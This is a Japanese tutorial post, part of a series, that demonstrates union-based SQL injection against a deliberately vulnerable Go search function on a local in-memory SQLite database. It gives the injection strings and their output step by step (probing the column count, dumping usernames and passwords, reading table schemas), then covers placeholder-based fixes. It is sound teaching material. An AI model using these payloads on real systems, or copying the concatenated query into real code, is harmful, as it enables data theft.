SQLインジェクション ② Union-based
SQLi シリーズ第2回。Go (database/sql + modernc.org/sqlite) で UNION 攻撃を実演。Python と違って型厳格な Go ならではの注意点も整理。
前回(Classic) の続き。今回は Union-based。前回は Python で書いたが、今回は Go (database/sql + modernc.org/sqlite) で書く。同じ攻撃でも、言語の特徴で攻撃の組み立て方が変わる、という発見もあったので合わせて書く。
Union-based とは
通常のクエリの結果に UNION SELECT を継ぎ足して、本来表示されないテーブルの中身を結果セットに混ぜるタイプ。Classic と違って認証突破ではなく、任意のテーブルの中身を読み出すのが目的。
成立条件は3つ:
- 文字列連結で SQL を組み立てている
- 結果がレスポンスに表示される
- UNION のカラム数・型を合わせられる
Go で実演
SQLite ドライバは pure Go の modernc.org/sqlite を使う。CGo 不要で Windows でも追加ツール無しで動く。
環境準備
go mod init sqli_demogo get modernc.org/sqlitesetup と脆弱なコード
package main
import ( "database/sql" "fmt" "log"
_ "modernc.org/sqlite")
var db *sql.DB
func setup() { var err error db, err = sql.Open("sqlite", ":memory:") if err != nil { log.Fatal(err) } schema := ` CREATE TABLE products (id INTEGER, name TEXT, price INTEGER, category TEXT); INSERT INTO products VALUES (1, 'りんご', 200, 'fruit'); INSERT INTO products VALUES (2, 'バナナ', 150, 'fruit'); INSERT INTO products VALUES (3, '人参', 80, 'vegetable');
CREATE TABLE users (id INTEGER, name TEXT, password TEXT); INSERT INTO users VALUES (1, 'admin', 'super-secret'); INSERT INTO users VALUES (2, 'alice', 'hunter2'); ` if _, err := db.Exec(schema); err != nil { log.Fatal(err) }}
// 脆弱: fmt.Sprintf で文字列連結しているfunc search(category string) { sqlStr := fmt.Sprintf( "SELECT id, name, price FROM products WHERE category = '%s'", category, ) rows, err := db.Query(sqlStr) if err != nil { fmt.Println("Error:", err) return } defer rows.Close() for rows.Next() { var id, price int var name string if err := rows.Scan(&id, &name, &price); err != nil { fmt.Println("Scan error:", err) return } fmt.Printf(" row: id=%d name=%s price=%d\n", id, name, price) }}正常な使い方:
search("fruit")// row: id=1 name=りんご price=200// row: id=2 name=バナナ price=150Step 1: カラム数を探る
UNION は左右のカラム数が一致しないとエラー。1個ずつ増やして試す。
search("' UNION SELECT 0 --")// Error: SQL logic error: SELECTs to the left and right of UNION// do not have the same number of result columns
search("' UNION SELECT 0, '' --")// Error: 同上
search("' UNION SELECT 0, '', 0 --")// row: id=0 name= price=0 ← 通ったカラム数は3で確定。Python 版では NULL, NULL, NULL で揃えたが、Go の sql.Scan は int への NULL 代入を拒否する(converting NULL to int is unsupported)。
そのため Go ターゲットでは アプリ側のスキャン型に合うダミー値(0, '')で揃えるのが楽。
Step 2: 別テーブルの中身を抜く(型を合わせる)
products の3列の型は (int, string, int)。users から抜くには UNION 側の3列もこれに合わせる必要がある。
users.password を直接 price(int)に入れるとスキャンエラーで止まる。代わりに、文字列の name 列に詰めて漏らす:
search("' UNION SELECT id, name || ':' || password, 0 FROM users --")// row: id=1 name=admin:super-secret price=0// row: id=2 name=alice:hunter2 price=0name 列に admin:super-secret、alice:hunter2 が流れ込んでくる。アプリ側は商品名として表示するつもりが、平文パスワードを画面に出すことになる。
Step 3: テーブル一覧を取る
SQLite はスキーマ情報を sqlite_master に持っている。
search("' UNION SELECT 0, name, 0 FROM sqlite_master WHERE type='table' --")// row: id=0 name=products price=0// row: id=0 name=users price=0Step 4: スキーマ(CREATE 文)を取る
search("' UNION SELECT 0, sql, 0 FROM sqlite_master WHERE type='table' --")// row: id=0 name=CREATE TABLE products (id INTEGER, name TEXT, price INTEGER, category TEXT) price=0// row: id=0 name=CREATE TABLE users (id INTEGER, name TEXT, password TEXT) price=0カラム名・型まで完全に開示される。Step 2 の SQL を組み立てる材料が揃う。
PostgreSQL / MySQL なら同じ立ち位置に information_schema.tables / information_schema.columns がある。
Go ならではの注意
Python の sqlite3 は結果を動的型のタプルで受け取るので、Union-based の攻撃側は SELECT NULL, NULL, NULL で型を気にせずカラム数を探れる。
Go の database/sql は Scan(&id, &name, &price) でスキャン先の Go 型に固定されるので、攻撃側は:
- レスポンスで返る列の Go 型をまず特定する(
int/string/intなど) - その型に合うように UNION 側の式を組む(定数・文字列連結・
CAST)
つまり Go は「攻撃のひと手間が増える」だけで、脆弱性自体は消えていない。スキャンエラーで一時的に止まることはあっても、攻撃側は Step4 のスキーマ漏洩で型を特定して何度でも組み直せる。
対策
文字列連結をやめてプレースホルダ(?)を使う。
rows, err := db.Query( "SELECT id, name, price FROM products WHERE category = ?", category,)これで ' UNION SELECT ... を入れても、category 列と完全一致比較される1個の文字列値として扱われるので、UNION 自体が SQL の構文として認識されない。実行すると 0 件返る。
補助的な対策(根本対策ではない)
- エラー / スキャンエラーを画面に返さない:Step 1 のカラム数特定の手がかりが減る。ただしレスポンスの行数差や HTTP ステータスから推測できるので、これだけでは守れない
- DB ユーザーの権限を絞る:アプリ用 DB ユーザーで
usersやsqlite_masterに SELECT できないようにしておけば、Union で読める範囲を狭められる
防壁の一枚目としては有効だが、プレースホルダ無しで「これだけで守れた」とはならない。
ローカルで動かす手順
Go を入れる:
winget install GoLang.Go新しいシェルを開き直して、go version で go1.26.x 系が出れば OK。
プロジェクト:
mkdir sqli_democd sqli_demogo mod init sqli_demogo get modernc.org/sqlite# main.go に上記コードを貼る (search を呼ぶ main() を足す)go run .次回予告
次は Error-based。DB のエラーメッセージそのものに中身を混ぜさせて抜く手法。MySQL の updatexml() あたりで実演する予定。